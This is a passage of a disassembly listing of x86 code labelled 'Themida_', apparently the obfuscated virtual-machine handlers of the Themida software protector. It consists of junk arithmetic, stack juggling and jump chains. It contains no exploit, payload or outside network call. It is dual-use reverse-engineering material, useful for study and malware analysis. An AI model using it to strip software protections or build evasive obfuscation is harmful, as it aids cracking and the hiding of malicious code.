--------------------------------------------------------------------------- loc_5587C3: ; CODE XREF: Themida_:0055C3E1j mov al, bl pop bx dec al inc al jmp loc_55C4FB ; --------------------------------------------------------------------------- mov ax, [esp] push ecx push esp mov ecx, [esp] add esp, 4 push ebx push 4 pop ebx jmp loc_55CDB9 ; --------------------------------------------------------------------------- loc_5587E8: ; CODE XREF: Themida_:0055A294j add esi, 0CEC9F72Eh add eax, esi pop esi pop ecx add eax, 5E744DBh sub eax, ebx jmp loc_557533 ; --------------------------------------------------------------------------- loc_5587FE: ; CODE XREF: Themida_:005536F1j push 3EE0h mov [esp], edx jmp loc_55C764 ; --------------------------------------------------------------------------- lodsd jmp loc_552786 ; --------------------------------------------------------------------------- loc_558811: ; CODE XREF: Themida_:00554C8Cj push 5EEA4755h mov esi, [esp] add esp, 4 push edi mov edi, 30484D80h dec edi jmp loc_557DA7 ; --------------------------------------------------------------------------- loc_558828: ; CODE XREF: Themida_:0055CD2Bj xchg ebp, [esp] pop esp dec byte ptr [esp] pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_558835: ; CODE XREF: Themida_:00551684j add ebx, 4 sub ebx, 4 jmp loc_556CA5 ; --------------------------------------------------------------------------- loc_558843: ; CODE XREF: Themida_:005582B4j mov ecx, 3E0D4406h shr ecx, 7 shl ecx, 8 jmp loc_55921C ; --------------------------------------------------------------------------- loc_558853: ; CODE XREF: Themida_:0055A74Dj mov eax, [esp] jmp loc_552BA8 ; --------------------------------------------------------------------------- loc_55885B: ; CODE XREF: Themida_:00559E12j push ecx push esp pop ecx add ecx, 4 push ebx jmp loc_55D416 ; --------------------------------------------------------------------------- loc_55886A: ; CODE XREF: Themida_:00555E5Ej add esp, 4 add eax, 6F24691Ch add eax, edi sub eax, 6F24691Ch push ebx mov ebx, 63D51FB5h shl ebx, 4 shr ebx, 8 jmp loc_55487D ; --------------------------------------------------------------------------- loc_55888A: ; CODE XREF: Themida_:00558A06j xor esi, 6BA52A75h push eax mov eax, 6C1C6EB9h and esi, eax pop eax add esi, 0F3E7BB7Ch jmp loc_55CD19 ; --------------------------------------------------------------------------- loc_5588A4: ; CODE XREF: Themida_:00551424j mov eax, [esp] push edx mov edx, esp jmp loc_556DE1 ; --------------------------------------------------------------------------- loc_5588AF: ; CODE XREF: Themida_:00557145j xor eax, 13AB051Fh and esi, eax pop eax jmp loc_558E01 ; --------------------------------------------------------------------------- loc_5588BC: ; CODE XREF: Themida_:0055C52Ej push 18DC6194h pop ecx inc ecx shl ecx, 1 xor ecx, 31B8C0D6h mov ebx, ecx mov ecx, [esp] add esp, 4 push edx push 496D38F9h pop edx add edx, 51AD495Ah push ecx mov ecx, 492F0D29h jmp loc_5540AF ; --------------------------------------------------------------------------- loc_5588EB: ; CODE XREF: Themida_:00551D4Dj xor ebx, 59050CAEh sub edi, ebx pop ebx jmp loc_556CFC ; --------------------------------------------------------------------------- loc_5588F9: ; CODE XREF: Themida_:00551A7Cj add edi, ecx pop ecx xchg edi, [esp] pop esp or edx, eax shl edx, 1 push eax jmp loc_55A209 ; --------------------------------------------------------------------------- loc_55890A: ; CODE XREF: Themida_:00552978j pop ebp pop esi jmp loc_55AA05 ; --------------------------------------------------------------------------- loc_558911: ; CODE XREF: Themida_:00555E0Dj neg ecx sub ecx, 202D0297h add ecx, 9E66AA07h jmp loc_553340 ; --------------------------------------------------------------------------- loc_558924: ; CODE XREF: Themida_:00556692j push 1F546449h pop ecx shl ecx, 2 dec ecx sub ecx, 5B986ED9h mov edx, ecx pop ecx shr edx, 5 add edx, 2903735Dh mov edi, 44E92F62h jmp loc_5535A3 ; --------------------------------------------------------------------------- loc_55894A: ; CODE XREF: Themida_:00557DB5j add esi, 18EB3398h sub esi, edi sub esp, 4 jmp loc_55A9D7 ; --------------------------------------------------------------------------- loc_55895A: ; CODE XREF: Themida_:00557653j xor edx, 43074422h sub ebx, 38B908BAh sub ebx, edx jmp loc_55BCE9 ; --------------------------------------------------------------------------- loc_55896D: ; CODE XREF: Themida_:00555F4Aj pop edi push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] pop esp shr ecx, 0Bh push 468Eh jmp loc_559D13 ; --------------------------------------------------------------------------- loc_558988: ; CODE XREF: Themida_:00552ABAj push esi mov esi, esp jmp loc_55293F ; --------------------------------------------------------------------------- loc_558990: ; CODE XREF: Themida_:0055385Fj push esi mov esi, 480575C0h add eax, esi pop esi add eax, ebp sub eax, 480575C0h push dword ptr [esp] pop ebp push ebx mov ebx, esp push edi mov edi, 4 add ebx, 5A4820E6h add ebx, edi jmp loc_5535E4 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_553CBF ; --------------------------------------------------------------------------- loc_5589C3: ; CODE XREF: Themida_:00553C28j push 64D9h mov [esp], edi push ebx mov ebx, 2 mov edi, ebx pop ebx jmp loc_55CA7C ; --------------------------------------------------------------------------- loc_5589D9: ; CODE XREF: Themida_:00554890j inc edi xor edi, 144B0A03h sub edi, 0ABC0F29Ah sub ebx, 68CF7032h add ebx, edi add ebx, 68CF7032h pop edi add ebx, 24D89517h jmp loc_5537A7 ; --------------------------------------------------------------------------- loc_558A00: ; CODE XREF: Themida_:00553F28j or esi, 642A0C12h jmp loc_55888A ; --------------------------------------------------------------------------- loc_558A0B: ; CODE XREF: Themida_:005593CCj push esi mov esi, 65356D44h jmp loc_55C6EE ; --------------------------------------------------------------------------- loc_558A16: ; CODE XREF: Themida_:0055AB55j add ecx, 0BAED91D7h xor eax, ecx jmp loc_55BE29 ; --------------------------------------------------------------------------- loc_558A23: ; CODE XREF: Themida_:0055C392j mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ebx, 4 jmp loc_55C943 ; --------------------------------------------------------------------------- loc_558A41: ; CODE XREF: Themida_:0055CD64j push edx mov edx, 45B16694h xor edx, 387850CDh shr edx, 6 push ecx mov ecx, 2ECA5A5Ah or edx, ecx jmp loc_554EA7 ; --------------------------------------------------------------------------- loc_558A5D: ; CODE XREF: Themida_:0055A204j and al, bl pop ebx push ebx mov bl, 0Fh xor al, bl jmp loc_5579FD ; --------------------------------------------------------------------------- loc_558A6A: ; CODE XREF: Themida_:00552172j mov cl, 5Bh not cl add cl, 0ADh jmp loc_554F68 ; --------------------------------------------------------------------------- loc_558A76: ; CODE XREF: Themida_:0055C6B3j add ebx, 27BE0177h dec ebx sub ebx, 0F15ECDD3h add edi, ebx pop ebx add edi, 4 xchg edi, [esp] mov esp, [esp] mov dx, [esp] push ecx push edi jmp loc_551F95 ; --------------------------------------------------------------------------- loc_558A9D: ; CODE XREF: Themida_:0055AAE9j pop eax add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push esi jmp loc_559538 ; --------------------------------------------------------------------------- loc_558AB1: ; CODE XREF: Themida_:0055987Ej add dword ptr [esp], 4 mov edx, [esp] add esp, 4 jmp loc_559559 ; --------------------------------------------------------------------------- loc_558AC3: ; CODE XREF: Themida_:0055475Bj pop esp pop ebx sub esp, 2 mov [esp], bx push eax push ebx mov bh, 3Dh sub bh, 91h not bh jmp loc_55B17F ; --------------------------------------------------------------------------- loc_558ADA: ; CODE XREF: Themida_:0055175Bj inc ecx jmp loc_5567E4 ; --------------------------------------------------------------------------- loc_558AE0: ; CODE XREF: Themida_:00556835j mov ebp, 4 jmp loc_559C64 ; --------------------------------------------------------------------------- loc_558AEA: ; CODE XREF: Themida_:00558371j sub bl, 78h push eax mov al, 0A5h jmp loc_553271 ; --------------------------------------------------------------------------- loc_558AF5: ; CODE XREF: Themida_:00556784j inc cx sub cx, 0AC97h and bp, cx pop ecx not bp push ax mov ax, 469Fh add bp, ax pop ax jmp loc_55A552 ; --------------------------------------------------------------------------- loc_558B13: ; CODE XREF: Themida_:0055A2B3j push esi jmp loc_556BFB ; --------------------------------------------------------------------------- loc_558B19: ; CODE XREF: Themida_:00557184j mov [esp], esp jmp loc_5572D9 ; --------------------------------------------------------------------------- loc_558B21: ; CODE XREF: Themida_:00552060j add al, 0E2h jmp loc_559471 ; --------------------------------------------------------------------------- loc_558B28: ; CODE XREF: Themida_:0055693Aj push eax mov eax, 427A28DEh sub eax, 7E7F8BCh sub edi, eax jmp loc_55C5EB ; --------------------------------------------------------------------------- loc_558B3A: ; CODE XREF: Themida_:0055812Cj xor [esp], ecx xor ecx, [esp] jmp loc_554E69 ; --------------------------------------------------------------------------- loc_558B45: ; CODE XREF: Themida_:0055563Cj and eax, edx pop edx shr eax, 0Ch xor eax, ecx xor eax, edx xor edx, eax xor eax, edx sub esp, 4 mov [esp], edx not dword ptr [esp] push dword ptr [esp] pop edx push ebp push esp jmp loc_556BE6 ; --------------------------------------------------------------------------- lodsd jmp loc_555391 ; --------------------------------------------------------------------------- loc_558B70: ; CODE XREF: Themida_:00558189j push esp mov ebp, [esp] add esp, 4 add ebp, 4 push ebx mov ebx, 4 jmp loc_554985 ; --------------------------------------------------------------------------- mov ax, [esp] push 3A66h jmp loc_551CEB ; --------------------------------------------------------------------------- loc_558B96: ; CODE XREF: Themida_:00552CE1j sub bl, dh mov edx, [esp] jmp loc_55B1D8 ; --------------------------------------------------------------------------- loc_558BA0: ; CODE XREF: Themida_:00552B00j and esi, 449B7852h xor esi, 46A009B6h sub ebx, esi jmp loc_555932 ; --------------------------------------------------------------------------- loc_558BB3: ; CODE XREF: Themida_:00553934j mov eax, [esp] add esp, 4 sub al, ch pop ecx jmp loc_5548B5 ; --------------------------------------------------------------------------- loc_558BC1: ; CODE XREF: Themida_:0055CC3Ej xchg edi, [esp] pop esp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add esp, 4 or ecx, ecx jz loc_557ACF sub esp, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_556250 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_551368 ; --------------------------------------------------------------------------- loc_558C08: ; CODE XREF: Themida_:0055D220j mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp push 16BFh mov [esp], ebp push esp pop ebp push ebx mov ebx, 309D3D23h sub ebx, 309D3D1Fh add ebp, ebx pop ebx add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55B497 ; --------------------------------------------------------------------------- loc_558C47: ; CODE XREF: Themida_:005569C9j mov [esp], ebx mov ebx, 67181DCFh xor ebp, ebx jmp loc_558131 ; --------------------------------------------------------------------------- loc_558C56: ; CODE XREF: Themida_:00553165j xchg edx, ecx jmp loc_55D1DC ; --------------------------------------------------------------------------- loc_558C5D: ; CODE XREF: Themida_:00556940j push esp jmp loc_55CCE2 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_5513E9 ; --------------------------------------------------------------------------- loc_558C71: ; CODE XREF: Themida_:005558BEj push edx push ecx push esi push 67BBh mov [esp], ebx push 6AB23230h pop ebx dec ebx jmp loc_55424A ; --------------------------------------------------------------------------- loc_558C88: ; CODE XREF: Themida_:005542ABj mov esp, [esp] and eax, edx pop edx jmp loc_553A37 ; --------------------------------------------------------------------------- loc_558C93: ; CODE XREF: Themida_:00555768j add esp, 4 jmp loc_552D4F ; --------------------------------------------------------------------------- loc_558C9B: ; CODE XREF: Themida_:005556AFj pop eax add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 70A7400Ch sub [esp+4], ecx jmp loc_558625 ; --------------------------------------------------------------------------- loc_558CBB: ; CODE XREF: Themida_:0055513Cj push ebx mov ebx, 4 jmp loc_554017 ; --------------------------------------------------------------------------- loc_558CC6: ; CODE XREF: Themida_:0055BA86j push edi mov edi, 781F252Dh mov ebx, edi pop edi sub esp, 4 mov [esp], ebp jmp loc_55D007 ; --------------------------------------------------------------------------- loc_558CDA: ; CODE XREF: Themida_:0055ABD0j sub esp, 4 mov [esp], edx mov edx, 60D164Ah sub edi, edx pop edx shr edi, 8 add edi, 0FF2EC787h sub ebp, 4AA14433h jmp loc_55C4D8 ; --------------------------------------------------------------------------- lodsb push ebx mov bl, 0B6h jmp loc_55B3BA ; --------------------------------------------------------------------------- loc_558D08: ; CODE XREF: Themida_:0055323Aj pop ebp jmp loc_55A146 ; --------------------------------------------------------------------------- loc_558D0E: ; CODE XREF: Themida_:0055BE24j sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push 8D9h mov [esp], ecx push 42B0193Ch jmp loc_55D361 ; --------------------------------------------------------------------------- loc_558D2E: ; CODE XREF: Themida_:005519CEj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5552E6 ; --------------------------------------------------------------------------- loc_558D3A: ; CODE XREF: Themida_:00558DB5j pop ecx push dx push ebp jmp loc_55B108 ; --------------------------------------------------------------------------- loc_558D43: ; CODE XREF: Themida_:00558E3Aj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_55AA79 ; --------------------------------------------------------------------------- loc_558D53: ; CODE XREF: Themida_:0055A19Aj add esp, 4 xchg ebx, [esp] pop esp jmp loc_552D9D ; --------------------------------------------------------------------------- loc_558D62: ; CODE XREF: Themida_:005577DBj pop ebp jmp loc_559C30 ; --------------------------------------------------------------------------- loc_558D68: ; CODE XREF: Themida_:0055C0A0j push edi mov edi, 0C200A8Ah not edi sub edi, 0DD4F7E88h sub ebp, edi pop edi push esi mov esi, 98D738Ch or ebp, esi pop esi sub ebp, 1 xchg ecx, ebp inc ecx jmp loc_55A3A7 ; --------------------------------------------------------------------------- loc_558D8D: ; CODE XREF: Themida_:00554419j sub di, 0B62h neg di xor di, 2EBBh mov bx, di push dword ptr [esp] pop edi add esp, 4 xor bx, 0EB21h mov si, bx pop ebx add cx, si pop si xor ax, cx jmp loc_558D3A ; --------------------------------------------------------------------------- lodsb push cx jmp loc_5567F2 ; --------------------------------------------------------------------------- loc_558DC2: ; CODE XREF: Themida_:00552F31j mov [esp], esi mov esi, 394427AEh neg esi jmp loc_55C8D9 ; --------------------------------------------------------------------------- loc_558DD1: ; CODE XREF: Themida_:0055CB19j xor bh, dh pop dx dec bh jmp loc_55B435 ; --------------------------------------------------------------------------- loc_558DDC: ; CODE XREF: Themida_:00551B2Bj add edx, 26832507h jmp loc_559223 ; --------------------------------------------------------------------------- loc_558DE7: ; CODE XREF: Themida_:0055B51Cj push 5714h mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 jmp loc_5566D8 ; --------------------------------------------------------------------------- loc_558E01: ; CODE XREF: Themida_:005588B7j and esi, 71723B55h jmp loc_554337 ; --------------------------------------------------------------------------- loc_558E0C: ; CODE XREF: Themida_:00557FDEj push dword ptr [ecx] mov eax, [esp] add esp, 4 push dword ptr [esp] pop ecx add esp, 4 push dword ptr [edi+eax*4] sub esp, 4 mov [esp], eax mov eax, 301E61F2h add [esp+4], eax pop eax mov eax, [esp] push eax mov eax, esp jmp loc_558D43 ; --------------------------------------------------------------------------- loc_558E3F: ; CODE XREF: Themida_:00558123j dec dword ptr [esp] pushf jmp loc_55A264 ; --------------------------------------------------------------------------- loc_558E48: ; CODE XREF: Themida_:0055CDE5j add esp, 4 xchg ecx, [esp] pop esp mov cx, [esp] jmp loc_55A5DB ; --------------------------------------------------------------------------- loc_558E58: ; CODE XREF: Themida_:0055BEC1j add ecx, 365F2E44h dec ecx jmp loc_559807 ; --------------------------------------------------------------------------- loc_558E64: ; CODE XREF: Themida_:005594D1j add esi, 1C710C5Ah jmp loc_55B542 ; --------------------------------------------------------------------------- loc_558E6F: ; CODE XREF: Themida_:00552686j add esp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_55495C ; --------------------------------------------------------------------------- loc_558E89: ; CODE XREF: Themida_:0055258Fj push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp push 487Fh mov [esp], eax push 7C60h mov [esp], edi mov edi, 44BB56FFh jmp loc_556F86 ; --------------------------------------------------------------------------- loc_558EB4: ; CODE XREF: Themida_:0055B6F8j push 7007h mov [esp], ecx mov ecx, 24h jmp loc_55215E ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edx push esp jmp loc_55689B ; --------------------------------------------------------------------------- loc_558ED9: ; CODE XREF: Themida_:00555ECFj shl ebp, 5 and ebp, 0DE72A42h push ebx jmp loc_55A299 ; --------------------------------------------------------------------------- loc_558EE8: ; CODE XREF: Themida_:0055AAF5j sub esp, 4 mov [esp], edx jmp loc_5526B4 ; --------------------------------------------------------------------------- loc_558EF3: ; CODE XREF: Themida_:00552EFDj push edx mov edx, 30E123EBh jmp loc_55C117 ; --------------------------------------------------------------------------- loc_558EFE: ; CODE XREF: Themida_:0055CF80j sub esi, 6FDFA8C9h add edx, esi pop esi push 2FF5h jmp loc_55BEE1 ; --------------------------------------------------------------------------- loc_558F11: ; CODE XREF: Themida_:00552F9Cj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 jmp loc_55342F ; --------------------------------------------------------------------------- loc_558F2F: ; CODE XREF: Themida_:00557947j push edx mov edx, 249726C6h sub ebx, edx pop edx add ebx, 3F46397Fh sub ebx, 2302165Eh xor eax, ebx pop ebx mov ecx, eax jmp loc_556024 ; --------------------------------------------------------------------------- loc_558F4E: ; CODE XREF: Themida_:0055AF99j push ebx jmp loc_554217 ; --------------------------------------------------------------------------- loc_558F54: ; CODE XREF: Themida_:00556A33j shl edi, 4 sub edi, 1C446623h sub edi, 494AAAD7h jmp loc_55BC17 ; --------------------------------------------------------------------------- loc_558F68: ; CODE XREF: Themida_:0055268Fj mov [esp], edi push 2 pop edi add edx, 2741388Fh add edx, edi sub edx, 2741388Fh pop edi xchg edx, [esp] jmp loc_554E85 ; --------------------------------------------------------------------------- loc_558F88: ; CODE XREF: Themida_:0055A49Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edx jmp loc_55464D ; --------------------------------------------------------------------------- loc_558F9E: ; CODE XREF: Themida_:005551B6j push ebp push 3ED4h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_5575EE ; --------------------------------------------------------------------------- loc_558FB6: ; CODE XREF: Themida_:005595A3j mov esi, 4B1F1C67h push edi mov edi, 4B332C09h shl edi, 4 dec edi jmp loc_55AB0E ; --------------------------------------------------------------------------- loc_558FCA: ; CODE XREF: Themida_:00556A3Ej or ebx, 52E24150h shl ebx, 8 and ebx, 10D04D2Ch and ebx, 6A130FFEh jmp loc_55C1D5 ; --------------------------------------------------------------------------- loc_558FE4: ; CODE XREF: Themida_:00559235j jmp loc_551368 ; --------------------------------------------------------------------------- loc_558FE9: ; CODE XREF: Themida_:00554384j pop ebp push edi jmp loc_5587A7 ; --------------------------------------------------------------------------- loc_558FF0: ; CODE XREF: Themida_:0055947Bj jmp loc_551368 ; --------------------------------------------------------------------------- loc_558FF5: ; CODE XREF: Themida_:005565D3j mov edx, 4 add [esp+4], edx pop edx mov ecx, [esp] add esp, 4 jmp loc_55CAF4 ; --------------------------------------------------------------------------- loc_55900A: ; CODE XREF: Themida_:00556B11j dec ecx add ecx, 0C499948h mov esi, ecx pop ecx sub esi, 1 xor esi, 0ECA65DEh add edx, esi jmp loc_55B2AE ; --------------------------------------------------------------------------- loc_559024: ; CODE XREF: Themida_:00552321j push edx mov edx, 3D600250h sub esi, edx pop edx mov ebx, [esp] add esp, 4 jmp loc_552B8F ; --------------------------------------------------------------------------- loc_559038: ; CODE XREF: Themida_:0055C8F2j sub eax, esi push edi mov edi, 4CCE5548h sub edi, 0D67D036Ch sub eax, edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop esi add esp, 4 push ecx mov ecx, 560B13FDh sub ecx, 7251362Eh jmp loc_55BCD3 ; --------------------------------------------------------------------------- loc_559066: ; CODE XREF: Themida_:0055BE15j push edi mov edi, 4 add ecx, edi jmp loc_55CB1E ; --------------------------------------------------------------------------- loc_559073: ; CODE XREF: Themida_:0055A479j add esp, 4 push edi mov edi, 5886ED8h xchg edx, edi inc edx xchg edx, edi jmp loc_55BF27 ; --------------------------------------------------------------------------- loc_559089: ; CODE XREF: Themida_:0055B2BDj mov ebx, 98175E6h jmp loc_55316A ; --------------------------------------------------------------------------- loc_559093: ; CODE XREF: Themida_:0055BC3Fj push ecx mov ecx, 566E4B1Bh jmp loc_551C30 ; --------------------------------------------------------------------------- loc_55909E: ; CODE XREF: Themida_:0055AE35j push ebx mov ebx, 323F139Ah not ebx dec ebx add ebx, 3CB47B53h jmp loc_551B23 ; --------------------------------------------------------------------------- loc_5590B2: ; CODE XREF: Themida_:0055434Cj pop edx jmp loc_5545DF ; --------------------------------------------------------------------------- loc_5590B8: ; CODE XREF: Themida_:00559722j push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_55D114 ; --------------------------------------------------------------------------- loc_5590C5: ; CODE XREF: Themida_:0055251Dj and ecx, eax mov eax, [esp] push 7D64h mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5572CF ; --------------------------------------------------------------------------- loc_5590E2: ; CODE XREF: Themida_:00556FE3j add bl, dh add bl, 1Ah pop dx or ch, bl pop ebx push dx mov dl, 20h or ch, dl jmp loc_55586F ; --------------------------------------------------------------------------- lodsd xor eax, ebx sub esp, 4 mov [esp], ebp push ecx jmp loc_557EC3 ; --------------------------------------------------------------------------- loc_559109: ; CODE XREF: Themida_:00552253j xchg edx, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push edx jmp loc_556C95 ; --------------------------------------------------------------------------- loc_55911E: ; CODE XREF: Themida_:0055A09Aj neg al shr al, 7 add al, 52h add dl, al pop eax jmp loc_5519F1 ; --------------------------------------------------------------------------- loc_55912D: ; CODE XREF: Themida_:00553C7Ej add esp, 4 xor ebp, 36C959EDh dec ebp sub ebp, 5F8B8103h sub edx, ebp mov ebp, [esp] add esp, 4 add eax, edx mov edx, [esp] add esp, 4 add ebx, 3CEA1FF1h sub ebx, 8EA5652h add ebx, eax add ebx, 8EA5652h push ecx jmp loc_559A24 ; --------------------------------------------------------------------------- loc_55916A: ; CODE XREF: Themida_:0055A571j mov esi, 1B435AC4h xor esi, 0F575CF6h add esi, 0FE6B3491h mov ecx, esi jmp loc_552C09 ; --------------------------------------------------------------------------- loc_559182: ; CODE XREF: Themida_:0055B886j push 4249h mov [esp], eax push esi jmp loc_55C01A ; --------------------------------------------------------------------------- loc_559190: ; CODE XREF: Themida_:00555776j push 1 push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55C782 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp], cl pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5591C3: ; CODE XREF: Themida_:0055A4B9j add al, ch jmp loc_558199 ; --------------------------------------------------------------------------- loc_5591CA: ; CODE XREF: Themida_:00555846j sub esp, 4 mov [esp], ebx mov ebx, 7BA56528h and ebx, 44D4F33h sub ebx, 122F178Ah sub ebx, 0E4DBBFAEh add eax, ebx jmp loc_559C79 ; --------------------------------------------------------------------------- loc_5591F1: ; CODE XREF: Themida_:0055C2CDj add ebx, 4 add ebx, 4 jmp loc_553864 ; --------------------------------------------------------------------------- mov ax, [esp] push 3239h mov [esp], ebp jmp loc_557400 ; --------------------------------------------------------------------------- loc_559210: ; CODE XREF: Themida_:00559E47j add dword ptr [esp], 3B1D4B0Ch jmp loc_552A48 ; --------------------------------------------------------------------------- loc_55921C: ; CODE XREF: Themida_:0055884Ej not ecx jmp loc_55800E ; --------------------------------------------------------------------------- loc_559223: ; CODE XREF: Themida_:00558DE2j pop ebx add edx, edi jmp loc_55961C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_558FE4 ; --------------------------------------------------------------------------- loc_55923A: ; CODE XREF: Themida_:00555BB9j xor esi, 0F14330h mov ebx, esi pop esi and ebx, 75A50E24h dec ebx and ebx, 105E731Ch jmp loc_5569EE ; --------------------------------------------------------------------------- loc_559255: ; CODE XREF: Themida_:00555A4Dj push dword ptr [esp] jmp loc_55B1F1 ; --------------------------------------------------------------------------- loc_55925D: ; CODE XREF: Themida_:00555B07j add ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] push eax mov eax, esp jmp loc_55988F ; --------------------------------------------------------------------------- loc_559280: ; CODE XREF: Themida_:0055A48Dj add ecx, eax pop eax push edi jmp loc_55660E ; --------------------------------------------------------------------------- loc_559289: ; CODE XREF: Themida_:00553BFBj add edx, 4 jmp loc_559C59 ; --------------------------------------------------------------------------- loc_559294: ; CODE XREF: Themida_:0055AA2Fj sub dword ptr [esp+4], 72B26797h add [esp+4], ebx add dword ptr [esp+4], 72B26797h mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_553747 ; --------------------------------------------------------------------------- loc_5592BA: ; CODE XREF: Themida_:0055C2A9j sub ecx, 37E54A47h xor ecx, 77490203h add ecx, 0ED1CEE7Dh mov esi, ecx pop ecx mov ebx, esi jmp loc_55793C ; --------------------------------------------------------------------------- loc_5592D6: ; CODE XREF: Themida_:0055B86Ej mov [esp], edx push 38A45AC1h jmp loc_553F00 ; --------------------------------------------------------------------------- loc_5592E3: ; CODE XREF: Themida_:005539ABj push ebp mov ebp, 19425443h sub ebp, 537342C9h push 0 sub [esp], ebp jmp loc_55A73D ; --------------------------------------------------------------------------- loc_5592FC: ; CODE XREF: Themida_:005514D1j add ebx, 4 jmp loc_557F1D ; --------------------------------------------------------------------------- loc_559307: ; CODE XREF: Themida_:00558687j pop ebx push dword ptr [esp] pop ecx add esp, 4 sub ebx, 71D8269Dh push 1D61h mov [esp], edx mov edx, 6B82508Fh not edx not edx shr edx, 4 xor edx, 17E0451h sub ebx, 573C0B6Bh add ebx, edx add ebx, 573C0B6Bh jmp loc_55D3FA ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push esp pop ecx push ebp mov ebp, 717614Ah sub ebp, 62B26733h add ebp, 5B9B05EDh push edi mov edi, 3663F8Dh sub edi, 79C913DFh sub edi, 4A746E68h sub edi, 36788683h sub ecx, edi jmp loc_55AA34 ; --------------------------------------------------------------------------- loc_55937D: ; CODE XREF: Themida_:005518B7j mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] pop esp sub ebx, 7C62159h jmp loc_553E37 ; --------------------------------------------------------------------------- loc_55939D: ; CODE XREF: Themida_:00552A78j idiv cl movzx cx, ah push small 302Bh mov [esp], cx movzx cx, al push cx pushf jmp loc_551368 ; --------------------------------------------------------------------------- loc_5593B7: ; CODE XREF: Themida_:00553AA6j add esi, ebx pop ebx add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_558A0B ; --------------------------------------------------------------------------- loc_5593D1: ; CODE XREF: Themida_:00552928j sub bl, 5Ch jmp loc_55B77C ; --------------------------------------------------------------------------- loc_5593D9: ; CODE XREF: Themida_:00559DECj mov [esp], ebp jmp loc_5568C2 ; --------------------------------------------------------------------------- loc_5593E1: ; CODE XREF: Themida_:0055D29Bj pop dword ptr [esp] add dword ptr [esp], 4 pop ebx jmp loc_552694 ; --------------------------------------------------------------------------- loc_5593F1: ; CODE XREF: Themida_:00552B74j sub bx, 6D4Bh sub bx, 4D9Ah pop dx add bx, ax jmp loc_559E17 ; --------------------------------------------------------------------------- loc_559405: ; CODE XREF: Themida_:0055D265j add edx, 20662A73h jmp loc_556032 ; --------------------------------------------------------------------------- loc_559410: ; CODE XREF: Themida_:00557699j mov [esp], esi push ebx mov ebx, 58B37622h mov esi, 0CA3BB823h add esi, 3E5852FBh sub esi, ebx jmp loc_555025 ; --------------------------------------------------------------------------- loc_55942B: ; CODE XREF: Themida_:005550E6j mov esi, 3DFD6E0Ah jmp loc_55C487 ; --------------------------------------------------------------------------- loc_559435: ; CODE XREF: Themida_:00553C1Cj pop ecx or bl, 20h xor bl, 37h xor bl, 91h push ebx mov bl, 0Dh sub bl, 0C1h add al, bl mov ebx, [esp] add esp, 4 add al, 0B2h sub al, bl push bx mov bh, 0B2h sub al, 53h sub al, bh jmp loc_556C19 ; --------------------------------------------------------------------------- loc_559461: ; CODE XREF: Themida_:00554943j mov dl, 0E1h xor dl, 82h sub dl, 0F9h sub dl, 5Fh jmp loc_559480 ; --------------------------------------------------------------------------- loc_559471: ; CODE XREF: Themida_:00558B23j push bx mov bl, 4Ch jmp loc_55AEB0 ; --------------------------------------------------------------------------- loc_55947A: ; CODE XREF: Themida_:00553849j pop esp jmp loc_558FF0 ; --------------------------------------------------------------------------- loc_559480: ; CODE XREF: Themida_:0055946Cj add bl, dl mov edx, [esp] add esp, 4 jmp loc_553110 ; --------------------------------------------------------------------------- loc_559490: ; CODE XREF: Themida_:00557E41j push esp pop edx add edx, 4 push 2B3h mov [esp], ebp push ebx mov ebx, 36286BC7h push ebx mov ebx, 36286BCBh mov ebp, ebx pop ebx sub ebp, ebx pop ebx add edx, ebp pop ebp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push esi push esp mov esi, [esp] push esi mov esi, esp jmp loc_5547CD ; --------------------------------------------------------------------------- loc_5594CE: ; CODE XREF: Themida_:00553CF8j shr esi, 1 inc esi jmp loc_558E64 ; --------------------------------------------------------------------------- loc_5594D6: ; CODE XREF: Themida_:0055BB66j push ebp mov ebp, 4 sub ebx, 4FFB7235h jmp loc_556445 ; --------------------------------------------------------------------------- loc_5594E7: ; CODE XREF: Themida_:005521BFj add bl, 67h 